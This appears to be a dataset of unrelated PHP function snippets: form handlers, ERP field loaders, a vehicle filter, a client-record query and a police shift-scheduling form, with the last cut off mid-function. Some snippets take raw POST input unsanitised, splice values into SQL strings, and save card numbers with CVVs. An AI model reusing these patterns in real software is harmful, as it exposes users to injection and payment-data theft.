group\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(isset($data_form['extra'])){\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$ex_s_price = 200;\n\t\t\t\t\t$data_form['extra_price'] = $ex_s_price;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t$total = $v_price + $s_price + $s_pack_price+$ex_s_price;\n\t\t\t\t\t\n\t\t\t\t\t$data_form['total'] = $total;\n\t\t\t\t\techo json_encode(($data_form));exit;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\n\t\t\t}else if(isset($_POST['info_request'])){\n\t\t\t\t\n\t\t\t\t$data_form['user_name'] = $_POST['client_cname'];\n\t\t\t\t$data_form['user_email'] = $_POST['client_cmail'];\n\t\t\t\t$data_form['user_tel'] = $_POST['client_cmobile'];\n\t\t\t\t$data_form['user_subject'] = $_POST['client_csubject'];\n\t\t\t\t$data_form['user_message'] = $_POST['client_cmessage'];\n\t\t\t\t$data_form['information_data'] = true;\n\t\t\t\t\n\t\t\t\treturn $data_form;\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t}else if(isset($_POST['quote_request'])){\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$data_form['client_qname'] = $_POST['quote_client_name'];\n\t\t\t\t$data_form['client_qsname'] = $_POST['quote_client_sname'];\n\t\t\t\t$data_form['user_email'] = $_POST['quote_client_mail'];\n\t\t\t\t$data_form['client_qtel'] = $_POST['quote_client_mobile'];\n\t\t\t\t$data_form['sub_date'] = date('Y-m-d');\n\t\t\t\t$data_form['sub_type'] = $_POST['subscription_type'];\n\t\t\t\t$data_form['sub_fee'] = $_POST['quote_client_fee'];\n\t\t\t\t$data_form['account_hold'] = $_POST['quote_client_c_name'];\n\t\t\t\t$data_form['account_num'] = $_POST['quote_client_c_number'];\n\t\t\t\t$data_form['account_cvv'] = $_POST['quote_client_c_vv'];\n\t\t\t\t$data_form['database_save'] = true;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\treturn $data_form;\n\t\t\t\t\n\t\t}else {\n\t\t\t\n\t\t\t\n\t\t\t\tunset($data_form);\n\t\t\t\treturn $data_form ='No form has been submitted';\n\t\t\t\n\t\t\t\n\t}// End of outer if else statement\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}", "public function form()\n {\n\t\t$xapp = Xapp::findOrFail(request('id'));\n\t\t$xapp_fields = Schema::getColumnListing($xapp->table);\n\t\t$this->hidden('id');\n\t\tforeach(config('xapp.xappset') as $name=>$set){\t\t\n\t\t\tif( empty($set['field']) ){\n\t\t\t\t$this->switch($name, '启用'.$set['title'])->help('是否启用'.$set['title'].'功能');\n\t\t\t}elseif(in_array($set['field'],$xapp_fields)){\n\t\t\t\t$this->switch($name, '启用'.$set['title'])->help('是否启用'.$set['title'].'功能,本功能依赖'.$set['field'].'字段');\n\t\t\t}\n\t\t}\n }", "function atualizacampos($exclusao=false) {\n if($exclusao==false){\n $this->v30_sequencial = ($this->v30_sequencial == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_sequencial\"]:$this->v30_sequencial);\n $this->v30_receita = ($this->v30_receita == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_receita\"]:$this->v30_receita);\n if($this->v30_datageracao == \"\"){\n $this->v30_datageracao_dia = ($this->v30_datageracao_dia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_datageracao_dia\"]:$this->v30_datageracao_dia);\n $this->v30_datageracao_mes = ($this->v30_datageracao_mes == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_datageracao_mes\"]:$this->v30_datageracao_mes);\n $this->v30_datageracao_ano = ($this->v30_datageracao_ano == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_datageracao_ano\"]:$this->v30_datageracao_ano);\n if($this->v30_datageracao_dia != \"\"){\n $this->v30_datageracao = $this->v30_datageracao_ano.\"-\".$this->v30_datageracao_mes.\"-\".$this->v30_datageracao_dia;\n }\n }\n $this->v30_valorhistorico = ($this->v30_valorhistorico == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_valorhistorico\"]:$this->v30_valorhistorico);\n $this->v30_valorcorrecao = ($this->v30_valorcorrecao == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_valorcorrecao\"]:$this->v30_valorcorrecao);\n $this->v30_valorpagoparcialhistorico = ($this->v30_valorpagoparcialhistorico == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_valorpagoparcialhistorico\"]:$this->v30_valorpagoparcialhistorico);\n $this->v30_valorpagoparcial = ($this->v30_valorpagoparcial == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_valorpagoparcial\"]:$this->v30_valorpagoparcial);\n $this->v30_valorpago = ($this->v30_valorpago == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_valorpago\"]:$this->v30_valorpago);\n $this->v30_valorcancelado = ($this->v30_valorcancelado == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_valorcancelado\"]:$this->v30_valorcancelado);\n $this->v30_valordesconto = ($this->v30_valordesconto == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_valordesconto\"]:$this->v30_valordesconto);\n $this->v30_valorpagohistorico = ($this->v30_valorpagohistorico == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_valorpagohistorico\"]:$this->v30_valorpagohistorico);\n $this->v30_valorcanceladohistorico = ($this->v30_valorcanceladohistorico == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_valorcanceladohistorico\"]:$this->v30_valorcanceladohistorico);\n $this->v30_instituicao = ($this->v30_instituicao == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_instituicao\"]:$this->v30_instituicao);\n }else{\n $this->v30_sequencial = ($this->v30_sequencial == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"v30_sequencial\"]:$this->v30_sequencial);\n }\n }", "function atualizacampos($exclusao=false) {\n if($exclusao==false){\n $this->r60_anousu = ($this->r60_anousu == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_anousu\"]:$this->r60_anousu);\n $this->r60_mesusu = ($this->r60_mesusu == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_mesusu\"]:$this->r60_mesusu);\n $this->r60_numcgm = ($this->r60_numcgm == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_numcgm\"]:$this->r60_numcgm);\n $this->r60_tbprev = ($this->r60_tbprev == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_tbprev\"]:$this->r60_tbprev);\n $this->r60_rubric = ($this->r60_rubric == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_rubric\"]:$this->r60_rubric);\n $this->r60_regist = ($this->r60_regist == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_regist\"]:$this->r60_regist);\n $this->r60_folha = ($this->r60_folha == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_folha\"]:$this->r60_folha);\n $this->r60_base = ($this->r60_base == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_base\"]:$this->r60_base);\n $this->r60_dprev = ($this->r60_dprev == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_dprev\"]:$this->r60_dprev);\n $this->r60_pdesc = ($this->r60_pdesc == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_pdesc\"]:$this->r60_pdesc);\n $this->r60_novod = ($this->r60_novod == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_novod\"]:$this->r60_novod);\n $this->r60_novop = ($this->r60_novop == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_novop\"]:$this->r60_novop);\n $this->r60_altera = ($this->r60_altera == \"f\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_altera\"]:$this->r60_altera);\n $this->r60_ajuste = ($this->r60_ajuste == \"f\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_ajuste\"]:$this->r60_ajuste);\n $this->r60_basef = ($this->r60_basef == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_basef\"]:$this->r60_basef);\n }else{\n $this->r60_anousu = ($this->r60_anousu == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_anousu\"]:$this->r60_anousu);\n $this->r60_mesusu = ($this->r60_mesusu == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_mesusu\"]:$this->r60_mesusu);\n $this->r60_numcgm = ($this->r60_numcgm == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_numcgm\"]:$this->r60_numcgm);\n $this->r60_tbprev = ($this->r60_tbprev == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_tbprev\"]:$this->r60_tbprev);\n $this->r60_rubric = ($this->r60_rubric == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"r60_rubric\"]:$this->r60_rubric);\n }\n }", "function setInputValues()\n {\n // Set input type based on GET/POST\n $inputType = ($_SERVER['REQUEST_METHOD'] === 'POST') ? INPUT_POST : INPUT_GET;\n // Init global variables\n global $typeID, $classID, $makeID, $price, $model, $year;\n global $sort, $sortDirection;\n // Set each variable, escape special characters\n $typeID = filter_input($inputType, 'typeID', FILTER_VALIDATE_INT);\n $classID = filter_input($inputType, 'classID', FILTER_VALIDATE_INT);\n $makeID = filter_input($inputType, 'makeID', FILTER_VALIDATE_INT);\n $sort = filter_input($inputType, 'sort', FILTER_VALIDATE_INT);\n $sortDirection = filter_input($inputType, 'sortDirection', FILTER_VALIDATE_INT);\n $price = filter_input($inputType, 'price', FILTER_VALIDATE_INT);\n $year = filter_input($inputType, 'year', FILTER_VALIDATE_INT);\n $model = htmlspecialchars(filter_input($inputType, 'model'));\n }", "function loadClienteForm(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_GET';//'\n\t\t$this->tipo_procedimiento='IME';//tipo de transaccion\n\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t$this->captura('v_valor','varchar');\n\t\t$this->captura('genero','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('email','varchar');\n\t\t$this->captura('email2','varchar');\n\t\t$this->captura('direccion','varchar');\n\t\t$this->captura('celular','varchar');\n\t\t$this->captura('nombre','varchar');\n\t\t$this->captura('lugar_expedicion','varchar');\n\t\t$this->captura('apellido_paterno','varchar');\n\t\t$this->captura('telefono','varchar');\n\t\t$this->captura('ciudad_residencia','varchar');\n\t\t$this->captura('id_pais_residencia','int4');\n\t\t$this->captura('nacionalidad','varchar');\n\t\t$this->captura('barrio_zona','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('apellido_materno','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\n\t\t$this->captura('nombre_completo1','text');\n\t\t$this->captura('nombre_completo2','text');\n\t\t$this->captura('pais_residencia','varchar');\n\t\t//Definicion de la lista del resultado del query\n\t\t/*$this->captura('v_id_cliente','int4');\n\t\t$this->captura('v_genero','varchar');\n\t\t$this->captura('v_ci','varchar');\n\t\t$this->captura('v_email','varchar');\n\t\t$this->captura('v_direccion','varchar');\n\t\t$this->captura('v_celular','varchar');\n\t\t$this->captura('v_nombre','varchar');\n\t\t$this->captura('v_lugar_expedicion','varchar');\n\t\t$this->captura('v_apellido_paterno','varchar');\n\t\t$this->captura('v_telefono','varchar');\n\t\t$this->captura('v_ciudad_residencia','varchar');\n\t\t$this->captura('v_id_pais_residencia','int4');\n\t\t$this->captura('v_nacionalidad','varchar');\n\t\t$this->captura('v_barrio_zona','varchar');\n\t\t//$this->captura('estado_reg','varchar');\n\t\t$this->captura('v_apellido_materno','varchar');\n\t\t//$this->captura('id_usuario_ai','int4');\n\t\t//$this->captura('fecha_reg','timestamp');\n\t\t//$this->captura('usuario_ai','varchar');\n\t\t//$this->captura('id_usuario_reg','int4');\n\t\t//$this->captura('fecha_mod','timestamp');\n\t\t//$this->captura('id_usuario_mod','int4');\n\t\t//$this->captura('usr_reg','varchar');\n\t\t//$this->captura('usr_mod','varchar');\n\n\t\t$this->captura('v_completo','text');\n\t\t$this->captura('v_nombre_completo2','text');\n\t\t$this->captura('v_pais_residencia','varchar');*/\n\t\t//$this->captura('nombre','varchar');\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function frmEstimacionesShow($sender, $params)\n {\n $items[\"uno\"]=\"ADICIONAL\";\n $items[\"dos\"]=\"ADITIVA/DEDUCTIVA\";\n $items[\"tres\"]=\"EXTRAORDINARIA\";\n $items[\"cuatro\"]=\"NORMAL\";\n $this->cboTipo->setItems($items);\n $this->txtMoneda->Text=\"MONEDA NACIONAL\";\n }", "function createForm(){\n\t\t$this->createFormBase();\n\t\t$this->addElement('reset','reset','Reset');\t\t\t\n\t\t$tab['seeker_0'] = '0';\n\t\t$this->setDefaults($tab);\n\t\t$this->addElement('submit','bouton_add_pi','Add a contact',array('onclick' => \"document.getElementById('frmvadataset').action += '#a_contact'\"));\n\t\t$this->createVaFormResolution();\n\t\t$this->createFormGeoCoverage();\n\t\t$this->createFormGrid();\t\n\t\t//Required format\n\t\t$dformat = new data_format;\n\t\t$dformat_select = $dformat->chargeFormDestFormat($this,'required_data_format','Required data format','NetCDF');\n\t\t$this->addElement($dformat_select);\n\t\t$this->getElement('organism_0')->setLabel(\"Organism short name\");\n\t\t$this->getElement('project_0')->setLabel(\"Useful in the framework of\");\n\t\t$this->getElement('dats_abstract')->setLabel(\"Abstract \");\n\t\t$this->getElement('dats_purpose')->setLabel(\"Purpose\");\n\t\t$this->getElement('database')->setLabel(\"Data center\");\n\t\t$this->getElement('new_db_url')->setLabel(\"Data center url\");\n\t\t$this->getElement('dats_use_constraints')->setLabel(\"Access and use constraints\");\t\t\t\n\t\t$this->getElement('sensor_resol_tmp')->setLabel('Temporal (hh:mm:ss)');\t\t\t\n\t\t$this->getElement('place_alt_min_0')->setLabel(\"Altitude min\");\n\t\t$this->getElement('place_alt_max_0')->setLabel(\"Altitude max\");\n\t\t$this->getElement('data_format_0')->setLabel(\"Original data format\");\n\t\t$this->addElement('file','upload_doc','Attached document');\n\t\t$this->addElement('submit','upload','Upload');\n\t\t$this->addElement('submit','delete','Delete');\n\t\t\n\t\tfor ($i = 0; $i < $this->dataset->nbVars; $i++){\n\t\t\t$this->getElement('methode_acq_'.$i)->setLabel(\"Parameter processing related information\");\n\t\t}\n\t\t$this->addElement('submit','bouton_add_variable','Add a parameter',array('onclick' => \"document.getElementById('frmvadataset').action += '#a_param'\"));\n\t\t\n\t\t$this->addElement('submit','bouton_add_projet','Add a project',array('onclick' => \"document.getElementById('frmvadataset').action += '#a_general'\"));\n\t\t$option = array();\n\t\t$option['default'] = \"\";\n\t\t$option['model'] = \"Model\";\n\t\t$option['instrument'] = \"Instrument\";\n\t\t$option['satellite'] = \"Satellite\";\n\t\t$this->addElement('select','source_type','source type :',$option,array('onchange' => \"DeactivateButtonAddSource()\",'onclick' => \"DeactivateButtonAddSource();\",'onmouseover' => 'DeactivateButtonAddSource();' ));\n\t\t$this->addElement('submit','bouton_add_source','Add a source',array('disabled' => 'true','onclick' => \"document.getElementById('frmvadataset').action += '#a_source'\",'onmouseout' => 'DeactivateButtonAddSource();'));\n\t\t\n\t\tif (isset ( $this->dataset->dats_sensors ) && ! empty ( $this->dataset->dats_sensors )) {\n\t\t\t$this->dats_sensors = array();\n\t\t\t$this->dats_sensors = $this->dataset->dats_sensors ;\n\t\t}\n\t\tif (isset ( $this->dataset->sites ) && ! empty ( $this->dataset->sites )) {\n\t\t\t$this->sites = array();\n\t\t\t$this->sites = $this->dataset->sites;\n\t\t}\n\t\t\n\t\tif ( isset ( $this->dataset->dats_id ) && $this->dataset->dats_id > 0) {\n\t\t\tif (isset ( $this->dataset->nbModFormSensor )){\n\t\t\t\tif($this->dataset->nbModForm <= $this->dataset->nbModFormSensor ){\n\t\t\t\t\t$this->dataset->nbModForm = $this->dataset->nbModFormSensor;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (isset ( $this->dataset->nbSatFormSensor )){\n\t\t\t\t//$this->dataset->nbSatFormSensor = $this->dataset->nbSatFormSensor - 1;\n\t\t\t\tif($this->dataset->nbSatForm <= $this->dataset->nbSatFormSensor){\n\t\t\t\t\t$this->dataset->nbSatForm = $this->dataset->nbSatFormSensor;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (isset ( $this->dataset->nbInstruFormSensor )){\n\t\t\t\tif($this->dataset->nbInstruForm <= $this->dataset->nbInstruFormSensor){\n\t\t\t\t\t$this->dataset->nbInstruForm = $this->dataset->nbInstruFormSensor;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif($this->dataset->nbModForm > 0)\n\t\t\t$this->addMod();\n\t\tif($this->dataset->nbInstruForm > 0)\n\t\t\t$this->addInstru();\t\n\t\tif($this->dataset->nbSatForm > 0)\n\t\t\t$this->addSat();\n\t\t\n\t\t$this->dataset->dats_sensors = null ;\n\t\t$this->dataset->sites = null;\n\t}", "function atualizacampos($exclusao=false) {\n if($exclusao==false){\n $this->l30_codigo = ($this->l30_codigo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"l30_codigo\"]:$this->l30_codigo);\n if($this->l30_data == \"\"){\n $this->l30_data_dia = ($this->l30_data_dia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"l30_data_dia\"]:$this->l30_data_dia);\n $this->l30_data_mes = ($this->l30_data_mes == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"l30_data_mes\"]:$this->l30_data_mes);\n $this->l30_data_ano = ($this->l30_data_ano == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"l30_data_ano\"]:$this->l30_data_ano);\n if($this->l30_data_dia != \"\"){\n $this->l30_data = $this->l30_data_ano.\"-\".$this->l30_data_mes.\"-\".$this->l30_data_dia;\n }\n }\n $this->l30_portaria = ($this->l30_portaria == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"l30_portaria\"]:$this->l30_portaria);\n if($this->l30_datavalid == \"\"){\n $this->l30_datavalid_dia = ($this->l30_datavalid_dia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"l30_datavalid_dia\"]:$this->l30_datavalid_dia);\n $this->l30_datavalid_mes = ($this->l30_datavalid_mes == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"l30_datavalid_mes\"]:$this->l30_datavalid_mes);\n $this->l30_datavalid_ano = ($this->l30_datavalid_ano == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"l30_datavalid_ano\"]:$this->l30_datavalid_ano);\n if($this->l30_datavalid_dia != \"\"){\n $this->l30_datavalid = $this->l30_datavalid_ano.\"-\".$this->l30_datavalid_mes.\"-\".$this->l30_datavalid_dia;\n }\n }\n $this->l30_tipo = ($this->l30_tipo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"l30_tipo\"]:$this->l30_tipo);\n $this->l30_nomearquivo = ($this->l30_nomearquivo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"l30_nomearquivo\"]:$this->l30_nomearquivo);\n }else{\n $this->l30_codigo = ($this->l30_codigo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"l30_codigo\"]:$this->l30_codigo);\n }\n }", "function __construct()\n {\n parent::__construct();\n \n // creates the form\n $this->form = new TQuickForm('form_historicotrabalho');\n $this->form->class = 'tform'; // change CSS class\n \n $this->form->style = 'display: table;width:100%'; // change style\n \n // Define Título da página\n $this->form->setFormTitle('Banco de Horas - Lançamento de Escalas');\n // Inicía ferramentas auxiliares\n $fer = new TFerramentas(); // Ferramentas diversas\n $sicad = new TSicadDados(); // Ferramentas de acesso ao SICAD\n //Realiza definições iniciais de acesso\n $profile = TSession::getValue('profile'); //Profile da Conta do usuário\n if ($this->opm_operador==false) //Carrega OPM do usuário\n {\n //Confere se já foi carregado a OPM, senão carrega...ou se o ambiente for de desenvolvimento usa a OPM = 140\n $this->opm_operador = ($fer->is_dev()==true) ? 140 : $profile['unidade']['id'];\n }\n if (!$this->nivel_sistema || $this->config_load == false) //Carrega OPMs que tem acesso\n {\n $this->nivel_sistema = $fer->getnivel (get_class($this));//Verifica qual nível de acesso do usuário\n $this->listas = $sicad->get_OpmsRegiao($this->opm_operador);//Carregas as OPMs que o usuário administra\n $this->config = $fer->getConfig($this->sistema); //Busca o Nível de acesso que o usuário tem para a Classe\n $this->config_load = true; //Informa que configuração foi carregada\n }\n \n // Cria os Itens do Formulário\n $rgmilitar = new TEntry('rgmilitar');\n \n //Monta ComboBox com OPMs que o Operador pode ver\n //echo $this->nivel_sistema.'---'.$this->opm_operador;\n if ($this->nivel_sistema>=80) //Adm e Gestor\n {\n $criteria = null;\n }\n else if ($this->nivel_sistema>=50 ) //Nível Operador (carrega OPM e subOPMs)\n {\n $criteria = new TCriteria;\n //Se não há lista de OPM, carrega só a OPM do usuário\n $lista = ($this->listas['valores']!='') ? $this->listas['valores'] : $profile['unidade']['id'];\n $query = \"(SELECT DISTINCT id FROM g_geral.opm WHERE id IN (\".$lista.\"))\";\n $criteria->add (new TFilter ('id','IN',$query));\n }\n else if ($this->nivel_sistema<50) //nível de visitante (só a própria OPM)\n {\n $criteria = new TCriteria;\n $query = \"(SELECT DISTINCT id FROM g_geral.opm WHERE id IN (\".$this->opm_operador.\"))\";\n $criteria->add (new TFilter ('id','IN',$query));\n }\n $opm = new TDBCombo('opm','sicad','OPM','id','nome','nome',$criteria);\n \n $ativo = new TCombo('ativo');\n $lista_opm = new TSelect('lista_opm');\n $lista_slc = new TSelect('lista_slc');\n //Critério para os Turnos de Serviço (Deve-se excluir os ocultos e o item id=13)\n $criteria = new TCriteria; \n $criteria->add(new TFilter('oculto', '=', 'f'));\n $criteria->add(new TFilter('id', '!=', 13));\n $turno = new TDBCombo('turno','sicad','turnos','id','nome','nome',$criteria);\n \n $datainicial = new TDate('dataInicial');\n $datafinal = new TDate('dataFinal');\n $horaIncialOrdinario = new TEntry('horaInicialOrdinario');\n $opm_id_info = new TDBCombo('opm_id_info','sicad','OPM','id','sigla','sigla');\n $opm_info_atual = new TCombo('OPM_info_Atual');\n $diasExtra = new TEntry('diasExtra');\n $mesExtra = new TCombo('mesExtra');\n $anoExtra = new TCombo('anoExtra');\n $horaInicioExtra = new TEntry('horaInicioExtra');\n $horasTrabalhadas = new TEntry('horasTrabalhadas');\n $tipoExtra = new TCombo('tipoExtra');\n $afasta_id = new TDBCombo('afasta_id','sicad','afastamentos','id','nome','nome');\n $dtinicioaf = new TDate('dtinicioaf');\n $dtfimaf = new TDate('dtfimaf');\n $bgaf = new TEntry('bgaf');\n $anobgaf = new TEntry('anobgaf');\n \n //Formatar Itens\n $rgmilitar->setSize(80);\n $opm->setSize(300);\n $lista_opm->setSize(280,256);\n $lista_slc->setSize(280,256);\n $turno->setSize(200);\n $datainicial->setSize(80);\n $datafinal->setSize(80);\n $horaIncialOrdinario->setSize(50);\n $opm_id_info->setSize(150);\n $opm_info_atual->setSize(80);\n $diasExtra->setSize(200);\n $mesExtra->setSize(80);\n $anoExtra->setSize(80);\n $horaInicioExtra->setSize(50);\n $horasTrabalhadas->setSize(50);\n $tipoExtra->setSize(120);\n $afasta_id->setSize(150);\n $dtinicioaf->setSize(80);\n $dtfimaf->setSize(80);\n $bgaf->setSize(80);\n $anobgaf->setSize(80);\n $ativo->setSize(80);\n //Style\n $lista_opm->style = \"font-size: 12px;\";\n $lista_slc->style = \"font-size: 12px;\";\n\n //Mascaras\n $datainicial->setMask('dd-mm-yyyy');\n $datafinal->setMask('dd-mm-yyyy');\n $dtinicioaf->setMask('dd-mm-yyyy');\n $dtfimaf->setMask('dd-mm-yyyy');\n $horaIncialOrdinario->setMask('99:99');\n $horaInicioExtra->setMask('99:99');\n $horasTrabalhadas->setMask('99');\n\n //Dados\n $opm_info_atual->addItems($fer->lista_sim_nao());//($item);\n $opm_info_atual->setValue('N');\n $ativo->addItems($fer->lista_sim_nao());//($item);\n $ativo->setValue('N');\n //\n $item = array (\"S\"=>\"Remunerada\",\"N\"=>\"Administrativa\");\n $tipoExtra->addItems($item);\n $tipoExtra->setValue('N');\n //\n $fer = new TFerramentas;\n $mesExtra->addItems($fer->lista_meses());\n $anoExtra->addItems($fer->lista_anos());\n //Tips\n $rgmilitar->setTip('Preencha com o RG do Militar pretendido...');\n $opm->setTip('Selecione a OPM para que possa preencher o campo de Lista da OPM com os componentes da Unidade.');\n $lista_opm->setTip('Lista dos Militares pertencente à Unidade Selecionada acima.<br>'.\n 'Vale lembrar que esta lista é atualizada diáriamente, assim os que estão aqui reflete as listas do SICAD.<br>' .\n 'Outro ponto a se considerar é a possibilidade de selecionar vários PMs, para isso basta usar<br>'.\n 'as teclas Control (ctrl) ou shift (seta pra cima);');\n $lista_slc->setTip('Militares Selecionados. Todos que estão nesta lista serão afetados, quer por uma escala ou por afastamentos...');\n $turno->setTip('Selecione uma Escala conforme a necessidade.');\n $datainicial->setTip('Selecione a data inicial da Escala Ordinária.');\n $datafinal->setTip('Selecione a data final da Escala Ordinária');\n $horaIncialOrdinario->setTip('Informe a hora de inicio do primeiro turno da Escala Ordinária.');\n $opm_id_info->setTip('Selecione qual foi a OPM informante da Escala.<br>É útil quando o militar está prestando serviços em uma OPM diferente da sua.');\n $opm_info_atual->setTip('A unidade Informante é a Unidade Atual? Se SIM, irei substituir a unidade que por ventura está na ficha do militar pela que foi informada...');\n $diasExtra->setTip('Defina os dias que o militar trabalhou podendo ser:<br> - Um dia apenas (Ex: 1);<br>- Alguns dias separados por vírgula(Ex: 2,5,8);<br>- Um intervalo de dias ligados por traço (Ex: 2-10);<br>- Um misto de combinações (Ex: 1,3-5,8,15-25). ');\n $mesExtra->setTip('Mês que ocorreu o serviço extra.');\n $anoExtra->setTip('Ano que ocorreu o serviço extra.');\n $horaInicioExtra->setTip('Hora que o serviço extra iniciou.');\n $horasTrabalhadas->setTip('Quantas horas foram trabalhadas neste serviço extra.');\n $tipoExtra->setTip('Defina se a escala foi Administrativa (sem remuneração AC-4) ou Remunerada (com pagamento de AC-4).');\n $afasta_id->setTip('Qual tipo de afastamento o militar fez jus.');\n $dtinicioaf->setTip('Data inicial do afastamento.');\n $dtfimaf->setTip('Data final do afastamento.');\n $bgaf->setTip('Numero do BG onde foi publicado o afastamento(Opcional).');\n $anobgaf->setTip('Ano de publicação do BG de Afastamento (Opcional).');\n $ativo->setTip('Se desejar que os militares inativos façam parte da seleção, marque como SIM para seleciona-los.'.\n '<br>Caso troque esta opção, não haverá a limpeza dos já selecionados.');\n //Ações\n //$change_action = new TAction(array($this, 'onSelectOpm_old'));//Ação de Popular lista de PMs\n //$opm->setChangeAction($change_action);\n //$ativo->setChangeAction($change_action);\n \n //Controle de Nível\n if ($this->nivel_sistema<$this->config[$this->cfg_chg_opm])\n {\n $opm_id_info->setEditable(FALSE);\n $opm_info_atual->setEditable(FALSE);\n }\n //Botões\n //Seleciona PMs\n $addPM = new TButton('addPM');\n $addPM->setImage('fa:arrow-down black');\n $addPM->class = 'btn btn-primary btn-sm';\n $Action = new TAction(array($this, 'onSelectMilitar'));\n $addPM->setAction($Action);\n $addPM->setLabel('Seleciona');\n \n //Botão Gera Escala Ordinária\n $runOrd = new TButton('runOrd');\n $runOrd->setImage('fa:floppy-o red');\n $runOrd->class = 'btn btn-primary btn-sm';\n $Action = ($this->nivel_sistema>=$this->config[$this->cfg_ord]) ? new TAction(array($this, 'onGeraOrdinaria')) : new TAction(array($this, 'NoAcess'));\n $runOrd->setAction($Action);\n $runOrd->setLabel('Gera Escala');\n \n //Botão Gera Escala Extra\n $runExt = new TButton('runExt');\n $runExt->setImage('fa:floppy-o red');\n $runExt->class = 'btn btn-primary btn-sm';\n $Action = ($this->nivel_sistema>=$this->config[$this->cfg_ext]) ? new TAction(array($this, 'onGeraExtra')) : new TAction(array($this, 'NoAcess'));\n $runExt->setAction($Action);\n $runExt->setLabel('Gera Escala');\n \n //Botão Gera Afastamento\n $runAfa = new TButton('runAfa');\n $runAfa->setImage('fa:floppy-o red');\n $runAfa->class = 'btn btn-primary btn-sm';\n $Action = ($this->nivel_sistema>=$this->config[$this->cfg_afa]) ? new TAction(array($this, 'onGeraAfastamento')) : new TAction(array($this, 'NoAcess'));\n $runAfa->setAction($Action);\n $runAfa->setLabel('Gera Afastamento');\n \n //Botão Limpa Afastamento\n $runCls = new TButton('runCls');\n $runCls->setImage('fa:trash black');\n $runCls->class = 'btn btn-danger btn-sm';\n $Action = ($this->nivel_sistema>=$this->config[$this->cfg_cls_afa]) ? new TAction(array($this, 'onLimpaAfastamento')) : new TAction(array($this, 'NoAcess'));\n $runCls->setAction($Action);\n $runCls->setLabel('Limpa Afastamento');\n \n //Botão Verifica Escala\n $runVer = new TButton('runVer');\n $runVer->setImage('fa:eye black');\n $runVer->class = 'btn btn-info btn-sm';\n $Action = new TAction(array($this, 'onListaEscala'));\n $runVer->setAction($Action);\n 